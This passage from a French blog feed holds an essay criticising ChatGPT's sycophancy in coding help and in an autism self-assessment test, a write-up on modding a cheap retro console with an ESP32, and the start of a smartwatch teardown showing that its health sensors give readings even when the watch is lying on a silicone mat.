compte que mon LLM local avait ses limites. À un moment, je lui ai collé un bout de code Rust qui posait problème,
et je ne sais pas pourquoi le modèle a considéré que c'était du texte écrit en turkmène et s'est mis à me répondre dans
cette langue... ChatGPT quant à lui s'en sortait beaucoup mieux, mais se perdait parfois dans ses &amp;quot;explications&amp;quot; sur
la structure du code et les façons idiomatiques de faire telle ou telle chose en Rust.&lt;/p&gt;
&lt;p&gt;De façon pragmatique, je peux confier à non LLM local des tâches basiques à faire sur du code (transformation simple de
données existantes en code, modifications répétitives plus ou moins complexes, écriture de templates) ou lui poser des
questions sur le langage et les modèles de conception, et je sais qu'il sera à la hauteur avec un faible risque de
bloquer sur quelque chose de trop complexe. Les agents en ligne comme ChatGPT quant à eux sont en mesure de traiter
des problèmes bien plus complexes, mais aussi des quantité de code bien plus grandes afin de rédiger par exemple des
tests unitaires pour un module ou une bonne partie de la documentation. Le gain de temps est fou, mais j'ai tout
de même perdu du temps à relire ce qu'avait fait l'IA générative afin de vérifier que c'était pertinent.&lt;/p&gt;
&lt;p&gt;De cette façon, j'ai pu avancer assez vite mon application tout en apprenant efficacement les motifs de conception
propres au langage Rust, sans pour autant avoir la certitude que ces derniers sont vraiment bien utilisés dans la
vraie vie. Quand ChatGPT me répond &amp;quot;cette façon d'utiliser les traits est très utilisée dans des stacks réseau&amp;quot;, je
n'ai pas tellement de choix que de le croire car la vérification serait très coûteuse en temps. Contrairement à du
&lt;em&gt;vibe-coding&lt;/em&gt;, j'ai construit mon application à l'aide de l'IA en questionnant les modèles utilisés ainsi que la
façon de faire. J'ai écrit une bonne partie du code moi-même pour faire fonctionner la &lt;em&gt;mémoire musculaire&lt;/em&gt;, pour
me tromper et me faire râler dessus par le compilateur et trouver le bug dans le quart d'heure qui suit. J'ai
appris comment certains outils offerts par le langage Rust peuvent être utilisés pour se faciliter la vie, ainsi que
leurs limites, en expérimentant. À ma grande surprise, c'était à la fois impressionnant et très agréable, du moins
au début.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="le-probleme-du-sens-du-poil"&gt;
&lt;h2&gt;Le problème du sens du poil&lt;/h2&gt;
&lt;p&gt;Cependant, j'ai pu noter que ChatGPT s'est lamentablement planté à plusieurs moments, et en particulier quand je
posais des questions sur la structure de mon application ou sur la façon d'implémenter telle ou telle fonctionnalité.
Je lui ai posé une question concernant la manière d'implémenter un &lt;em&gt;dispatch&lt;/em&gt; de messages en Rust, en indiquant la structure
de mes composants existants et mon début d'implémentation. J'avais commencé à faire un brouillon de code basé sur
du &lt;em&gt;static dispatch&lt;/em&gt;, que je voyais comme plus performant car géré&amp;nbsp;à la phase de compilation, et ChatGPT me disait que
ce que j'avais fait était bien mais que l'on pouvait faire mieux. Je demandais donc la version améliorée, et je testais
ensuite dans mon code afin de déterminer si cela offrait plus de simplicité. Jusqu'à ce que ça coince.&lt;/p&gt;
&lt;p&gt;Pour faire simple, j'avais implémenté une méthode A et ChatGPT me proposait une méthode B &amp;quot;plus idiomatique et qui
[me] fera gagner en performance&amp;quot;, que j'implémentais alors. Je lui donnais alors mon implémentation, et il me
proposait une méthode C qui serait encore plus efficace. Une fois implémentée, cette dernière se révèle plus limitée
et lorsque j'essaie de la rendre plus polyvalente je me heurte à des erreurs du compilateur. J'en fais part à ChatGPT
qui me répond: &amp;quot;ah oui, ça c'est l'erreur classique ! Il faut suivre la méthode A pour éviter ça :D&amp;quot;. Attends coco,
la méthode A c'est exactement d'où je suis parti. Je me suis retrouvé dans une boucle infinie, sans solution me permettant
de corriger les erreurs rencontrées. Et c'est là que j'ai compris ce qu'il se passait: ce que je cherchais à faire
ne pouvait simplement pas être fait avec du &lt;em&gt;static dispatch&lt;/em&gt; ! En présentant mon exemple d'implémentation au tout début,
j'avais conditionné le LLM à se reposer absolument sur du &lt;em&gt;static dispatch&lt;/em&gt;, et il ne trouvait simplement pas de solution
car il n'y en avait pas. J'avais biaisé moi-même ChatGPT et l'avais emmené dans une impasse.&lt;/p&gt;
&lt;p&gt;ChatGPT, tout comme d'autres chatbots à base de grands modèles de langages, est &amp;quot;conditionné&amp;quot; pour être bienveillant
et force de proposition. Il encourage, donne des conseils, mais va très difficilement à l'encontre de mauvais choix
que l'on peut faire. J'aurais bien aimé qu'il me dise dès le début qu'il y avait un risque que du &lt;em&gt;static dispatch&lt;/em&gt; ne
puisse pas convenir à ce que je cherchais à faire. Au lieu de cela, il a suivi une trajectoire plus souple, cherchant
à m'aider sans offrir trop de résistance. Il sont programmés, conditionnés, pour ne avoir le moins de friction avec
l'utilisateur, et évitent de remettre en question des affirmations. Il suffit de dire à ChatGPT qu'il s'est trompé
pour qu'il se confonde en excuses, courbant l'échine face à un maître qui a forcément raison, et ce même s'il a tort.
ChatGPT devient tout simplement CarpetteGPT.&lt;/p&gt;
&lt;p&gt;Il est alors intéressant de se demander pourquoi ce comportement est privilégié par OpenAI, et de se rappeler qu'en
août dernier, le modèle ChatGPT 5 avait été très mal reçu par les utilisateurs, ces derniers le trouvant plus froid
et distant. On touche là à l'un des aspects les plus insidieux des chatbots IA: une très grande majorité des utilisateurs
les considèrent comme des &lt;em&gt;personnes pourvues de raison et de sentiments&lt;/em&gt;, et développent un lien affectif et émotionnel
au point pour certains de devenir accros. &lt;a class="reference external" href="https://www.lemonde.fr/pixels/article/2025/09/13/chatgpt-et-sa-fausse-empathie-une-menace-pour-notre-sante-mentale_6640703_4408996.html"&gt;Cet article du Monde paru en septembre 2025&lt;/a&gt; par exemple, ou &lt;a class="reference external" href="https://www.psychiatrictimes.com/view/chatbot-addiction-and-its-impact-on-psychiatric-diagnosis"&gt;celui-ci de PsychiatricTimes (en anglais)&lt;/a&gt; abordent ce phénomène d'addiction et mettent
en évidence des conséquences difficilement anticipées des intelligences artificielles conversationnelles.&lt;/p&gt;
&lt;p&gt;Le rôle que jouent les acteurs comme OpenAI, Anthropic et même Mistral dans le &lt;em&gt;conditionnement&lt;/em&gt; et le &lt;em&gt;cadrage&lt;/em&gt; de
leurs chatbots est loin d'être négligeable, ces derniers permettant d'ajuster la &lt;em&gt;personnalité&lt;/em&gt; de leurs chatbots
afin de capter et de convertir un maximum d'utilisateurs dans un domaine où la concurrence est rude et les sommes
en jeu pharaoniques. Il est dès lors hors de question de caresser à rebrousse-poil les utilisateurs sous peine de
les irriter ou de leur faire détester tel ou tel agent. Au contraire, ils ont tout intérêt à les chouchouter et à leur
faire plaisir afin de garder leurs faveurs (et leurs abonnements). La difficulté ne réside pas seulement dans
la fourniture de réponses exactes ou un faible taux d'hallucination, mais aussi dans la capacité de l'agent
conversationnel à &lt;em&gt;prétendre&lt;/em&gt; être humain et amener l'utilisateur à le considérer comme un &lt;em&gt;ami&lt;/em&gt;, voire à développer
un lien affectif et émotionnel. On connaissait les applications mobiles comme &lt;em&gt;TikTok&lt;/em&gt; et l'exploitation des mécanismes
d'addiction basés sur la mécanique de la récompense dopaminergique, voilà maintenant les intelligences artificielles
exploitant des mécaniques affectives auparavant réservées aux humains.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="et-la-sante-mentale"&gt;
&lt;h2&gt;Et la santé mentale ?&lt;/h2&gt;
&lt;p&gt;J'ai mentionné pour l'instant un usage plutôt précis de ces intelligences artificielles, centré sur le développement
informatique, car c'est l'usage principal que j'en ai eu durant cette phase d'expérimentation. Cependant, j'ai été
intrigué par une citation de M. Zuckerberg: &amp;quot;For people who don't have a person who's a therapist, I think everyone
will have an AI therapist&amp;quot; (&amp;quot;Pour ceux qui n'ont pas de thérapeute, je pense que tout le monde aura un thérapeute IA&amp;quot;).
Je vois mal comment une IA comme ChatGPT, facilement influençable en fonction du prompt ou de son conditionnement initial,
pourrait être pertinente comme thérapeute. Et je parle bien ici de psycho-thérapeute. Pas le choix pour savoir, il faut
tester.&lt;/p&gt;
&lt;p&gt;Me voici donc à solliciter mon LLM local et ChatGPT sur des aspects plus complexes que du &amp;quot;simple code&amp;quot;, et ça tombe bien
car je sais exactement sur quel domaine je peux les challenger. Je vais me concentrer tout particulièrement sur ChatGPT
dans cette section, car c'est ce dernier que j'ai le plus sollicité lors de cette expérimentation. Mon LLM local étant
assez lent et limité, je pense qu'il souffre des mêmes défauts mais je n'ai pas eu la patience de vérifier. Me voici donc
à discuter de santé mentale avec ChatGPT, et en particulier de deux sujets auxquels je me suis particulièrement intéressé
ces dernières années: le &lt;em&gt;trouble de déficit d'attention avec ou sans hyperactivité (TDAH)&lt;/em&gt; et le &lt;em&gt;trouble du spectre de
l'autisme (TSA)&lt;/em&gt;, ces derniers ayant des manifestations (on ne parle pas de &amp;quot;symptôme&amp;quot;) similaires bien que leurs origines
soient différentes.&lt;/p&gt;
&lt;p&gt;Mon approche est somme toute assez classique et peut sembler légitime: je me mets dans la peau d'une personne potentiellement
concernée par l'un ou l'autre de ces troubles et qui cherche à déméler tout ça. Sans entrer dans les détails, c'est quelque
chose de très difficile à réaliser car les manifestations en question se retrouvent dans tout un ensemble de troubles divers,
parmi lesquels il faut faire le tri et arriver à dresser un tableau fiable. Pour une personne en questionnement, c'est aussi
la porte ouverte au biais de confirmation ou à l'effet Barnum. Voyons donc comment se comporte ChatGPT face à une demande de
ce type.&lt;/p&gt;
&lt;p&gt;Après un peu de temps à planter le décor, je demande à ChatGPT de me poser des questions pour démêler tout ça, lui indiquant
que je soupçonne au moins plusieurs traits autistiques voire un TSA. C'est assez impressionnant de voir la mécanique de
ChatGPT à l'œuvre, il est à la fois rassurant et en même temps me félicite de mon courage à chercher des réponses. Il insiste
notamment sur le fait qu'il ne peut pas faire de diagnostic, mais après une conversation relativement longue où j'ai amené
des anecdotes significatives permettant de cocher telle ou telle case sur la liste des critères du DSM-5 (le manuel de référence
en  psychiatrie), ce dernier conclut qu'il y a  de très grandes chances que je sois sur le spectre autistique, listant des
caractéristiques que j'ai mentionné qui font écho à ces derniers. C'est très convaincant, ça me conforte dans mon idée et ça
fait du bien d'entendre que l'on a peut-être raison (du moins quand je me place dans le rôle que je me suis attribué).&lt;/p&gt;
&lt;p&gt;Cependant, je n'en reste pas là. Je lui demande ensuite d'être très critique vis-à-vis des anecdotes et réponses que je lui ai
donné, indiquant avoir remarqué qu'il semble ne jamais vouloir me contredire. Je lui ai précisé que j'attendais des réponses
franches, et que je n'avais aucun problème à ce que ce soit plus nuancé. Que si des anecdotes ou des réponses que j'ai donné
peuvent s'expliquer par d'autres troubles, je souhaitais que ces hypothèses soient aussi considérées. Et surtout, qu'il
adopte un raisonnement plus froid et pragmatique. À partir de ce moment, tout bascule. La certitude qu'il affichait jusque là
a complètement disparu et il me liste pour chaque élément d'information que j'ai apporté toute une liste d'autres troubles
qui pourraient expliquer tel ou tel comportement, allant même immédiatement à la conclusion que le tableau est loin d'être
clair et qu'il est impossible de dire s'il s'agit de tel ou tel trouble. Dès que l'on tente de faire disparaître
la bienveillance, d'atténuer sa &amp;quot;programmation initiale&amp;quot;, que l'on demande des réponses précises sans prendre de pincettes,
le résultat est bel et bien différent. Du point de vue l'utilisateur, le contraste est violent. On passe d'une IA qui nous
comprend, qui nous rassure, à une IA qui doute et relativise chaque anecdote, chaque réponse que l'on a pu donner, et qui
finalement privilégie le doute aux certitudes. Et qui braquerait n'importe quelle personne en souffrance, à la recherche
de pistes ou de réponses.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="tout-est-question-de-controle"&gt;
&lt;h2&gt;Tout est question de contrôle&lt;/h2&gt;
&lt;p&gt;Cette expérimentation m'a permis de cerner un peu mieux les limites de ces outils, de mieux comprendre ce que je pouvais
attendre de ces derniers mais aussi de l'importance de garder du recul lors de leur utilisation. Oui, ces outils sont
impressionnants et approchent chaque jour un peu plus de ce qu'un humain peut ou sait faire. Utilisés correctement, ils
peuvent faire gagner un temps considérable en se chargeant de la basse besogne, voire en ingurgitant une quantité
phénoménale de données et en restituant la substantifique moelle. À ce jour, les intelligences artificielles conversationnelles
comme Claude, Gemini, Copilot ou ChatGPT sont très loin devant des configurations matérielles faisant tourner des LLMs
en local, mais il ne faut pas perdre de vue qu'il s'agit d'une course de conquête des utilisateurs jouant sur l'efficacité,
l'affect et le coût. Ces solutions sont conçues pour vous satisfaire, pour que vous développiez de la sympathie pour quelques
GPU et de la mémoire distants, que vous les adoptiez, peu importe si elles vous caressent (trop) dans le sens du poil.&lt;/p&gt;
&lt;p&gt;Il est relativement aisé d'introduire inconsciemment des biais au travers des prompts que l'on donne en pâture à ces robots,
de se réjouir de la bienveillance et de la servitude à peine feinte de ces semblants d'humains, et d'apprécier l'absence de
contradiction et ce sentiment d'avoir finalement raison. Casser le conditionnement de ces ersatz de cerveaux semble être une
des façons de les défaire de leurs attitudes mielleuses et de réintroduire un semblant de doute nécessaire à la réflexion.
Forcez-les à vous critiquer, répondez à la critique par des explications et des questions, transformez l'intelligence
artificielle en challenger et résolvez vos problèmes sur cette base plus saine. Même si cela peut froisser votre égo,
mais bon, ce ne sont que des machines après tout ;).&lt;/p&gt;
&lt;/div&gt;
</content><category term="Humeur"/><category term="humeur"/><category term="ia"/><category term="biais"/><category term="santé"/><category term="programmation"/></entry><entry><title>C'est l'histoire d'une petite console chinoise...</title><link href="https://virtualabs.fr/projets/console-tsingtao-mod" rel="alternate"/><published>2026-02-03T07:00:00+01:00</published><updated>2026-02-03T07:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2026-02-03:/projets/console-tsingtao-mod</id><summary type="html">&lt;p&gt;Je me suis rendu compte récemment que le fait de faire mes projets en stream me bouffait
toute mon énergie, ce qui avait pour conséquence un très faible nombre de billets de blog
publiés ces dernières années.  Il est peut-être temps pour moi de prendre le temps, justement,
de documenter …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Je me suis rendu compte récemment que le fait de faire mes projets en stream me bouffait
toute mon énergie, ce qui avait pour conséquence un très faible nombre de billets de blog
publiés ces dernières années.  Il est peut-être temps pour moi de prendre le temps, justement,
de documenter certains projets sur ce blog car après tout c'est bien fait pour cela, un blog.&lt;/p&gt;
&lt;p&gt;C'est l'occasion de présenter un projet qui m'a occupé une bonne partie de l'année 2025 et
qui a commencé comme souvent par un achat inutile et une idée à la noix: le hack d'une console
à moins de 10 euros trouvée sur AliExpress.&lt;/p&gt;
&lt;div class="section" id="une-console-chinoise-a-moins-de-10"&gt;
&lt;h2&gt;Une console chinoise à moins de 10€ ?&lt;/h2&gt;
&lt;p&gt;AliExpress pulule de consoles «rétro-gaming» qui se ressemblent vraiment presque toutes, avec
leurs croix directionnelles, leurs 7 boutons et une connectique USB utilisée pour y brancher
une manette externe. Elles possèdent une batterie, un écran TFT couleur, et proposent plus
de 400 jeux rétro !&lt;/p&gt;
&lt;img alt="" src="/images/2026-02-01/console-retro-ali.jpg" /&gt;
&lt;p&gt;En réalité, elles utilisent toutes une puce spécialisée (ASIC, encadrée
en vert ci-dessous) capable d'émuler des jeux NES stockés dans une mémoire Flash
(encadrée en rouge ci-dessous),&lt;/p&gt;
&lt;p&gt;La puce spécialisée est documentée et il doit bien y avoir moyen d'aller bidouiller la mémoire
Flash pour modifier les ROMs qui s'y trouvent, mais je trouvais tout de même ça un peu limité.
Vu qu'on a un boîtier, des boutons, une batterie et un écran, pourquoi ne pas remplacer la
puce spécialisée par un ESP32 et faire de l'émulation de consoles plus funs que la NES, comme
la (ou le) Game Boy ou encore une Master System ? L'idée semblait très intéressante, et la
perspective de hacker cette console peu onéreuse était très tentante.&lt;/p&gt;
&lt;img alt="" src="/images/2026-02-01/console-teardown.jpg" /&gt;
&lt;p&gt;Cependant, le premier obstacle rencontré est bien l'écran TFT utilisé: impossible de trouver
de documentation à partir des marquages, il va donc falloir essayer de discuter avec lui
afin de déterminer le contrôleur qu'il emploie (en espérant qu'il soit documenté) mais surtout
développer du code sur mesure. En effet, la plupart des projets d'émulation de consoles sur ESP32
utilisent des écrans TFT communiquant en SPI (une interface électronique utilisant 4 fils), alors
que le modèle présent dans la console en utilise une vingtaine.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="identification-du-controleur-d-ecran"&gt;
&lt;h2&gt;Identification du contrôleur d'écran&lt;/h2&gt;
&lt;p&gt;Des recherches sur Internet ont permis d'identifier des écrans similaires et notamment le brochage
du connecteur. Sur cette base, j'ai pu y connecter un ESP32 supportant l'interface &lt;em&gt;Intel I8080&lt;/em&gt;
avec un bus de données de 16 bits car c'est bien celle-ci qui est utilisée. Les commandes étant
généralement standards, j'ai pu récupérer le code identifiant le contrôleur et valider qu'il
s'agissait bien d'un contrôleur &lt;em&gt;GC9306&lt;/em&gt;. Ayant acheté un lot de consoles (une habitude, j'en
casse généralement au moins une lors des bidouilles), j'ai aussi pu valider que tous les écrans
employaient des écrans avec le même contrôleur !&lt;/p&gt;
&lt;p&gt;Afin de me faciliter la vie, j'ai conçu un PCB sur mesure pour y connecter un écran issu d'une
console à un ESP32, avec au passage de quoi y connecter des boutons poussoirs pour tester un
futur émulateur. La conception du PCB a été un peu laborieuse, il y a eu des ratés dans le
routage, mais j'ai pu avoir un système fonctionnel.&lt;/p&gt;
&lt;img alt="" src="/images/2026-02-01/prototype-pcb.jpg" /&gt;
&lt;p&gt;Et après beaucoup de tests avec l'environnement &lt;em&gt;ESP-IDF&lt;/em&gt; d'&lt;em&gt;Espressif&lt;/em&gt; et de tentatives loupées,
j'ai réussi à afficher ce que je voulais sur cet écran !&lt;/p&gt;
&lt;img alt="" src="/images/2026-02-01/proto-rick.jpg" /&gt;
&lt;/div&gt;
&lt;div class="section" id="gestion-des-controles-utilisateur"&gt;
&lt;h2&gt;Gestion des contrôles utilisateur&lt;/h2&gt;
&lt;p&gt;Afficher des images c'est bien mais pouvoir réagir sur des appuis de boutons c'est mieux !
Une fois le contrôleur d'écran contrôlé par l'ESP32, je me suis attaqué aux boutons. Vu
le nombre de _GPIOs_ restant, je me suis orienté vers un multiplexeur d'entrées/sorties en
I2C que je connaissais assez bien, le &lt;em&gt;MCP23017&lt;/em&gt; (déjà utilisé avec un Raspberry Pi).
Le PCB du prototype s'est ainsi vu greffer une version minuscule de ce &lt;em&gt;chip&lt;/em&gt; (package VQFN),
et le code permettant de gérer les appuis sur les boutons poussoirs reliés au &lt;em&gt;MCP23017&lt;/em&gt;
a été assez rapidement écrit.&lt;/p&gt;
&lt;img alt="" src="/images/2026-02-01/mcp23017.jpg" /&gt;
&lt;p&gt;À partir de là, le plus dur était fait: j'avais terminé le code permettant de dessiner des
pixels à l'écran et de savoir si des boutons sont appuyés. Enfin, c'est ce que je croyais
jusqu'au moment où je me suis intéressé au logiciel qui allait me servir de base pour
l'émulation des jeux...&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="la-galere-de-l-integration-dans-l-emulateur"&gt;
&lt;h2&gt;La galère de l'intégration dans l'émulateur&lt;/h2&gt;
&lt;p&gt;Le meilleur projet d'émulation que j'ai trouvé&amp;nbsp;est l'excellent &lt;a class="reference external" href="https://github.com/ducalex/retro-go"&gt;Retro-Go (https://github.com/ducalex/retro-go)&lt;/a&gt;
de &lt;em&gt;Ducalex&lt;/em&gt;, et je me suis donc attelé à la création d'un fork pour intégrer mon prototype
de console (oui, celui sous forme de grand PCB tout vert). Et ça n'a pas été sans mal.&lt;/p&gt;
&lt;p&gt;En effet, afficher une image sur un écran TFT en pilotant le contrôleur &lt;em&gt;GC9306&lt;/em&gt; tout seul
se passait plutôt bien, mais il se trouve que &lt;em&gt;Retro-Go&lt;/em&gt; n'utilise que des écrans communiquant
via une interface SPI et que son code (enfin, celui des composants de &lt;em&gt;retro-core&lt;/em&gt; qui fait
partie de &lt;em&gt;Retro-Go&lt;/em&gt;) est optimisé pour un fonctionnement avec ce type d'écran. Il a donc
fallu passer d'un code assez simple à un véritable &lt;em&gt;driver&lt;/em&gt; d'écran optimisé permettant d'avoir
à la fois une fréquence de rafraîchissement d'écran acceptable tout en s'accomodant du code
de base des différents émulateurs et leur façon d'interagir avec l'affichage. Ce n'a pas été
une mince affaire, mais après pas mal de galères je suis arrivé à un résultat acceptable.
Ce n'est pas parfait car il y a encore quelques artefacts causés par les algorithmes de mise
à l'échelle et de lissage, mais une fois le logiciel configuré c'est très fluide et réactif.
Le support des boutons a quant à lui été une formalité, ne posant que quelques soucis à cause
d'un &lt;em&gt;GPIO&lt;/em&gt; mal configuré.&lt;/p&gt;
&lt;center&gt;
&lt;video style="width: 600px;" controls&gt;
    &lt;source src="/images/2026-02-01/demo-driver-ecran.mp4" type="video/mp4"/&gt;
&lt;/video&gt;
&lt;/center&gt;&lt;/div&gt;
&lt;div class="section" id="modding-de-la-console"&gt;
&lt;h2&gt;Modding de la console&lt;/h2&gt;
&lt;p&gt;Afin de m'éviter un long et pénible travail de création de PCB complet permettant de remplacer
celui de la console, j'ai pris la tangente et ai créé un ensemble de trois circuits inter-connectés
qui viennent se greffer au circuit existant de la console, évitant ainsi de gérer la charge de
la batterie et l'alimentation. L'installation de ce mod a été laborieuse, mais les photos ci-dessous
donnent une idée du résultat final.&lt;/p&gt;
&lt;img alt="" src="/images/2026-02-01/mod-placing.jpg" /&gt;
&lt;img alt="" src="/images/2026-02-01/buttons.jpg" /&gt;
&lt;img alt="" src="/images/2026-02-01/sdcard.jpg" /&gt;
&lt;p&gt;La soudure des fils émaillés utilisés pour aller «piquer» l'état des boutons de la console,
le découpage à la barbare du circuit d'origine pour avoir suffisamment d'espace pour y loger un
ESP32 et les placements dispersés des différents PCB pour cause d'espace vraiment restreint
ont rendu la réalisation de ce mod assez complexe. Au final, ça m'aura coûté moins cher qu'un
PCB complet entièrement refait, mais l'utilisation a montré que dans certains cas la console
redémarre sans crier gare, certainement à cause d'un mauvais contact. J'ai par ailleurs ajouté
la possibilité d'utiliser une carte micro-SD, en utilisant les derniers &lt;em&gt;GPIOs&lt;/em&gt; disponibles
sur le module ESP32.
J'ai mis la console moddée dans les mains de mes ados durant les fêtes de fin d'année, et ils
ont bien aimé pouvoir y jouer malgré les quelques défauts identifiés.&lt;/p&gt;
&lt;center&gt;
&lt;video style="width: 600px;" controls&gt;
    &lt;source src="/images/2026-02-01/tsingtao-mod-demo-720p.mp4" type="video/mp4"/&gt;
&lt;/video&gt;
&lt;/center&gt;&lt;/div&gt;
&lt;div class="section" id="kit-de-modding-ou-pcb-de-remplacement"&gt;
&lt;h2&gt;Kit de modding ou PCB de remplacement ?&lt;/h2&gt;
&lt;p&gt;J'ai pris le temps de faire une version bien propre des trois PCBs utilisés dans mon mod,
si jamais il prenait l'envie à certains de vouloir reproduire cette bidouille. J'en ai
profité pour documenter ce projet sur un site dédié (&lt;a class="reference external" href="https://virtualabs.github.io/tsing-tao-console-mod/"&gt;https://virtualabs.github.io/tsing-tao-console-mod/&lt;/a&gt;), la console moddée ayant été
baptisée &lt;a class="reference external" href="https://virtualabs.github.io/tsing-tao-console-mod/"&gt;TsingTao&lt;/a&gt; sur une idée de
&lt;a class="reference external" href="https://cyberpunk.company/"&gt;Tix&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Cependant, plusieurs choses ne vont pas avec ce mod:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;il faut avoir des compétences en soudure et en découpe de PCB (pas forcément au niveau
de ce que fait &lt;a class="reference external" href="https://millomaker.fr/"&gt;Millomaker (https://millomaker.fr)&lt;/a&gt; mais pas simple de souder du fil de cuivre émaillé);&lt;/li&gt;
&lt;li&gt;la place dans la console est très réduite, surtout si on conserve les éléments d'origine;&lt;/li&gt;
&lt;li&gt;le fait d'utiliser 3 petits PCBs connectés entre eux rend assez difficile l'installation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J'ai donc entrepris au début de cette année 2026 de voir ce que peut donner un circuit
imprimé complet qui viendrait remplacer celui vraiment &lt;em&gt;cheap&lt;/em&gt; présent dans la console
d'origine. Pour ce faire, j'ai modélisé la console en question sous &lt;em&gt;FreeCAD&lt;/em&gt; pour avoir
une idée précise de la forme de ce dernier et des emplacements des supports de vis, afin
qu'il rentre parfaitement dans la console. C'était l'occasion d'expérimenter un peu plus
la modélisation avec &lt;em&gt;FreeCAD&lt;/em&gt; et les moyens de le faire collaborer avec &lt;em&gt;KiCad&lt;/em&gt; !&lt;/p&gt;
&lt;p&gt;Les prochaines semaines seront normalement consacrées à la conception et l'assemblage
d'un tel circuit imprimé, avec je l'espère un test concluant !&lt;/p&gt;
&lt;center&gt;&lt;img src="/images/2026-02-01/3dmodel-console.png" style="box-shadow: none; width: 300px; padding: 10px 10px 10px 10px;"/&gt;&lt;/center&gt;&lt;/div&gt;
</content><category term="Projets"/><category term="projets"/><category term="opensource"/></entry><entry><title>Désossage de la smartwatch Homday Xpert</title><link href="https://virtualabs.fr/projets/smartwatch-homday-xpert-teardown" rel="alternate"/><published>2025-02-05T19:00:00+01:00</published><updated>2025-02-05T19:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2025-02-05:/projets/smartwatch-homday-xpert-teardown</id><summary type="html">&lt;p&gt;Je traînais à Gifi avant les fêtes de Noël lorsque je suis tombé sur
une montre connectée à un peu plus de 10 euros. Elle m'a rappelée mes déboires
avec certaines smartwatches trouvées sur AliExpress, à la fois dans sa forme
et dans les fonctionnalités suggérées par les photos de …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Je traînais à Gifi avant les fêtes de Noël lorsque je suis tombé sur
une montre connectée à un peu plus de 10 euros. Elle m'a rappelée mes déboires
avec certaines smartwatches trouvées sur AliExpress, à la fois dans sa forme
et dans les fonctionnalités suggérées par les photos de cette dernière
affichées sur la boîte. Je me suis donc délesté d'une dizaine d'euros et suis
reparti avec, dans l'idée de l'analyser durant un live Twitch. Et je n'ai pas
été déçu !&lt;/p&gt;
&lt;div class="section" id="deballage-premiere-utilisation-et-premieres-observations"&gt;
&lt;h2&gt;Déballage, première utilisation et premières observations&lt;/h2&gt;
&lt;p&gt;Je planifie début janvier 2025 un live Twitch en annonçant que je vais m'amuser
à analyser cette montre connectée, que ce soit au niveau de son électronique ou
de son application associée. Je suis relativement curieux de savoir comment
toutes ces fonctionnalités sont possibles dans une montre à moins de 15€.&lt;/p&gt;
&lt;p&gt;Une fois la boîte ouverte, je me retrouve avec une montre qui semble d'assez
bonne facture, avec un bracelet silicone plutôt agréable à porter, un
chargeur magnétique et une notice d'utilisation. La notice indique de charger
la montre à bloc avant le premier démarrage, cependant elle ne réagit pas
à mes manipulations. Je la laisse se charger pendant une bonne demi-heure, et
elle fonctionne alors comme prévu. Peut-être était-ce du au fait que je n'y ai
pas touché pendant un mois ? En tout cas le niveau de batterie en sortie de boîte
semble être relativement faible.&lt;/p&gt;
&lt;img alt="" src="/images/2025-01-15-smartwatch-gifi/unboxing-smartwatch.jpg" style="width: 800px;" /&gt;
&lt;p&gt;J'installe en parallèle l'application mobile associée, &lt;em&gt;Lefun Health&lt;/em&gt;, sur mon
smartphone (même pas peur !), crée un compte pour l'application et appaire ma
montre avec cette dernière. Elle est reconnue sans problème, et la mise à jour
automatique de l'heure et de la date se fait bien. Cependant, l'application
mobile requiert tout une floppée de permissions assez intrusives comme l'accès
au carnets de contacts, mais vu que la montre est censée pouvoir afficher
les appels reçus, il est possible que ce soit normal.&lt;/p&gt;
&lt;p&gt;L'application propose toute une floppée de thèmes de cadrans (ou &lt;em&gt;watch face&lt;/em&gt;) sur la montre,
mais à ma grande surprise la plupart sont payants et impossible d'en installer
via mon smartphone qui tourne sous /e/OS.&lt;/p&gt;
&lt;img alt="" src="/images/2025-01-15-smartwatch-gifi/payforfaces.png" style="width: 600px;" /&gt;
&lt;/div&gt;
&lt;div class="section" id="un-tapis-silicone-vivant"&gt;
&lt;h2&gt;Un tapis silicone vivant ?&lt;/h2&gt;
&lt;p&gt;Un aspect de la montre m'a tout de même intrigué. Comme l'expliquait Stéphane
Marty dans son excellente vidéo intitulée &lt;a class="reference external" href="https://www.youtube.com/watch?v=1wouPyBpsKQ"&gt;Montre connectée intelligente à 2€ :
anatomie d'une arnaque Aliexpress&lt;/a&gt;,
les capteurs permettant de mesurer la saturation en oxygène dans le sang, ainsi
que ceux mesurant le rythme cardiaque par exemple sont relativement coûteux et
sont composés de plusieurs éléments miniaturisés dont des récepteurs
photosensibles qui doivent être visibles sous le boîtier.&lt;/p&gt;
&lt;p&gt;En regardant de plus près le boîtier de la montre, on observe la présence de
quatres lentilles qui peuvent correspondre à ce type de capteurs. Néanmoins, il
est difficile sans ouvrir ladite montre de savoir exactement quelle technologie
est utilisée.&lt;/p&gt;
&lt;img alt="" src="/images/2025-01-15-smartwatch-gifi/capteurs-bio.jpg" style="width: 600px;" /&gt;
&lt;p&gt;Je fais une série de mesure avec la motre portée sur mon bras, et elle donne
des résultats qui semblent être acceptables. Lorsque les fonctions de mesure sont
utilisées, que ce soit le rythme cardiaque, la saturation en oxygène ou la pression
artérielle, les lentilles au dos du boîtier de la montre clignotent en rouge.&lt;/p&gt;
&lt;p&gt;Je décide afin de tester la fiabilité
de ces capteurs de placer la montre sur mon tapis silicone, utilisé habituellement
pour les travaux de soudure, et de voir si déjà la montre se rend compte qu'il y
a comme un souci. J'active le mode d'analyse de fréquence cardiaque et pose la
montre à plat sur le tapis: après plusieurs secondes d'&lt;em&gt;analyse&lt;/em&gt;, l'écran affiche
différentes valeurs et enfin la synthèse des mesures.&lt;/p&gt;
&lt;center&gt;
&lt;video controls width="800px"&gt;
&lt;source src="/images/2025-01-15-smartwatch-gifi/demo-capteurs.mp4" type="video/mp4"/&gt;
&lt;/video&gt;
&lt;/center&gt;&lt;p&gt;Mon tapis serait-il ... vivant ? Je fais de même avec la mesure de saturation
en oxygène, et la mesure de pression artérielle: à chaque fois la montre arrive
à obtenir des mesures bien qu'elle ne soit pas portée sur un bras.&lt;/p&gt;
